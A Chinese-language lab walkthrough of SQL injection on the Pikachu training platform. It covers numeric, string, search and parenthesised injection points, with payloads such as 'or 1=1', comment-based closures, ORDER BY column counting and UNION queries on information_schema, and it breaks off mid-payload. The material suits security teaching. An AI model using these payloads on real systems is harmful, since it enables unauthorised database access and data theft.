原理
SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。
基本流程
1.2SQL注入攻击流程
第一步:注入点探测
自动方式:使用web漏洞扫描工具,自动进行注入点发现
手动方式:手工构造SQL注入测试语句进行注入点发现
第二步:信息获取
通过注入点取得期望得到的数据
1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)
第三步:获取权限
获取操作系统权限:通过数据库执行shell,上传木马
注入点类型
分类根据:输入的变量传入到SQL语句是以什么类型拼接的
数字型:user_id=$id
字符型:user_id=‘$id‘
搜索型:text LIKE ‘%{
$_GET[‘search‘]}%‘"
数字型注入(POST)
这里可以根据我们选择的 userid 返回用户名和邮箱,简单的查询
可以看出是一个指定数字的查询,而且是一个post方法的,burp抓包看看
看到id,猜测直接修改id是否可以
修改id后可以直接查询,猜测后台可能存在sql注入漏洞,猜测查询语句为
select name,email from table where id=$id;
所以在burp里直接改id=1 or 1=1,这样的话,该语句就会变成
select name,email from table where id=1 or 1=1;
即where 1了,即将所有成员查询出来了。试一下
攻击成功!!
字符型注入(GET)
打开网页,输入lili,可以看出是GET方法
同上题思路猜测后台查询语句
select id,email from member where username='$name';
但这次明显是根据字符串的查询,所以我们的1=1,就不行了,所以构造or ‘1’=‘1’,但是我们要想试一下
但是明显会有错误,所以我们要想着闭合语句。a' or '1'='1
,这样的话,后台查询语句就会变成
select id,email from member where username='a or '1='1';
就会返回所有元组,尝试攻击
攻击成功!
当然这个,我们后边的'
也可以注释掉
MySQL中有3种注释:
① #
② -- (最后面有个空格)
③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users;
搜索型注入
打开网页,发现是可以输入一部分即可查询
猜测后台语句如下
select username,id,email from member where username like '%$name%'
所以我们想到构造语句a%' or '1'='1'#
也就是
select username,id,email from member where username like '%a%' or '1'='1'#%';
也就可以返回所有元组了,尝试攻击
攻击成功!
XX型注入
这里查看一下后台代码
想着怎么闭合,a')or 1=1#
尝试攻击
攻击成功!
通过information_schema拿下数据库
union和information_schema
information_schema的背景知识
SCHEMATA:提供了MySQL实例中所有数据库的信息,show databases 的结果来自这个表。
TABLES:提供了关于数据库中表的信息(包括视图)。描述了某个表属于哪个数据库。
COLUMNS:提供了表中各列的信息,描述了某种表的所有列以及每个列的信息。
通过联合查询来查询指定的数据,比如下面的语句
select username,password from user where id=1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致,上面主查询查询了 2 个字段 username 和 password,所以我们的 union 语句也要查询两个字段。
我们可以通过用databases(),user(),version()查询数据库的数据库、用户和版本信息。
select database();
select user();
select version();
使用 union 需要知道主查询有多少个 字段,我们可以用 order by 来帮助我们猜测后台查询语句查询的字段数。
select 字段1,字段2 from users order by 1
后面跟着的数字表示根据查询结果的第几列进行排序,如果后台查询 2 个字段,那我们 order by 3 时就会报错,order by 2 时会正常返回,根据后台返回的结果我们就能知道后台有 2 个查询字段
选择pikachu平台得字符型注入进行测试,输入单引号发现存在注入
我们继续利用 SQL注入漏洞,获取基础信息,我们先用 order by 确认主查询有多少个字段
‘ or 1=1 order by 1#
‘ or 1=1 order by 2#
‘ or 1=1 order by 3#
当 odery by 3时报错,说明主查询中有 2 个字段
下面可以用 union 查询更多信息,数据库名称为 pikachu
下面利用 information_shcema 查询 pikachu 中的表名
‘ union select table_schema,table_name